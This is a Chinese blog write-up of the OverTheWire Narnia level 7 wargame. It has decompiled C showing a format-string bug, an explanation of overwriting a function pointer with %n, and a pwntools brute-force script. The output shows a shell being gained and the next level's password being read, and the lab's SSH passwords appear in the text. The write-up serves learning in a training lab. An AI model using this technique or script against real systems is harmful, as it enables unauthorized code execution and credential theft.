170901 WarGames-Narnia(7)
来源:互联网 发布:ipad白苹果数据还在吗 编辑:程序博客网 时间:2024/06/06 17:54
1625-5 王子昂 总结《2017年9月1日》 【连续第333天总结】
A. WarGames-Narnia
B.
Level 7
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // eax@4 if ( argc <= 1 ) { fprintf(stderr, "Usage: %s <buffer>\n", *argv); exit(-1); } v3 = vuln((char *)argv[1]); exit(v3);}int __cdecl vuln(char *format){ int (*v2)(void); // [sp+1Ch] [bp-8Ch]@1 char s; // [sp+20h] [bp-88h]@1 memset(&s, 0, 0x80u); printf("goodfunction() = %p\n", goodfunction); printf("hackedfunction() = %p\n\n", hackedfunction); v2 = (int (*)(void))goodfunction; printf("before : ptrf() = %p (%p)\n", goodfunction, &v2); puts("I guess you want to come to the hackedfunction..."); sleep(2u); v2 = (int (*)(void))goodfunction; snprintf(&s, 0x80u, format); return v2();}
在vuln函数中接受format参数,将其送给局部变量s后调用v2指针
v2指针之前被赋值为goodfunction了,很明显我们的目的是通过格式化字符漏洞修改v2使其指向hackedfunction
这次没有回显,因此无法判断format存储的位置是在s之后多少个位置了,只能挨个试
不过把goodfunction、hackedfunction、v2的地址都直接给出来了
因此只需要在format中保存v2的地址,然后通过%n写入hackedfunction的地址即可
构造输入参数为addr_v2 + offset + “%*
$n”,其中len(offset+addr_v2) = addr_hackedfunction,*
为未知量,需要爆破尝试
之前参数使用$(python xxx)的形式构造, 怎么搞都不对
后来死马当活马改成 `python xxx
`(反引号)就行了
之前$字符需要转义的毛病似乎这样也能解决,查了一下没发现什么区别(:з」∠)
爆破脚本为:
from pwn import *conn = ssh('narnia7', 'narnia.labs.overthewire.org', 2226, password='ahkiaziphu')sh = conn.run('sh')sh.sendline('/narnia/narnia7 a')#首次测试,获取addr_v2reply = (sh.recvrepeat(timeout=1))addr_f = reply.find("0xffff")addr = reply[addr_f: addr_f + 10]for i in range(1, 8): addr_last = '' while(addr_last != addr):#如果上一次的addr_v2和本次的不同,则攻击无效,重新构造addr_v2 payload = p32(int(addr, 16)) + ".%" + str(int(0x8048700)) + "d.%" + str(i) +"\$n" sh.sendline('/narnia/narnia7 ' + """`python -c 'print " """ + payload + """ "'` """) reply = sh.recvrepeat(timeout=5) log.info(reply + "\n" + str(i) + "\n\n")#显示返回信息和当前i值 if(reply.find("Way") > 0):#如果修改成功则转交控制流 sh.interactive() addr_last = addr addr_f = reply.find("0xffff") addr = reply[addr_f: addr_f + 10]#获取addr_v2
[*] goodfunction() = 0x80486e0
hackedfunction() = 0x8048706before : ptrf() = 0x80486e0 (0xffffdbfc)
I guess you want to come to the hackedfunction…
Way to go!!!!$
6[*] Switching to interactive mode
whoami
narnia8
$ cat /etc/narnia_pass/narnia8
mohthuphog
C. 明日计划
Narnia8
- 170901 WarGames-Narnia(7)
- 170823 WarGames-Narnia(0)
- 170828 WarGames-Narnia(3)
- 170829 WarGames-Narnia(4)
- 170830 WarGames-Narnia(5)
- 170831 WarGames-Narnia(6)
- 170902 WarGames-Narnia(8)
- 170825 WarGames-Narnia(1-2)
- WarGames-leviathan(0-7)
- 170908 WarGames-Behemoth(7)
- WarGames-Natas(16)
- 170817 WarGames-Natas(15)
- 170821 WarGames-Natas(26)
- 170903 WarGames-Behemoth(0)
- 170903 WarGames-Behemoth(1)
- 170904 WarGames-Behemoth(2)
- 170905 WarGames-Behemoth(3)
- 170906 WarGames-Behemoth(4)
- Creating text
- 2015年9月CCF计算机软件能力认证题:日期计算
- 手把手教你上传文件到GitHub并发布到pod
- 解决matplotlib绘制图片时中文无法正常显示的问题
- WOJ1103-Littleken
- 170901 WarGames-Narnia(7)
- 2015年3月CCF计算机软件能力认证题:数列分段
- leetcode 30. Substring with Concatenation of All Words
- linux各个系统互相免密登陆遇到的问题
- python
- 2015年3月CCF计算机软件能力认证题:数字排序
- java面试--代码 编程+输出内容
- C和C++中static变量
- 正向代理与反向代理简单说明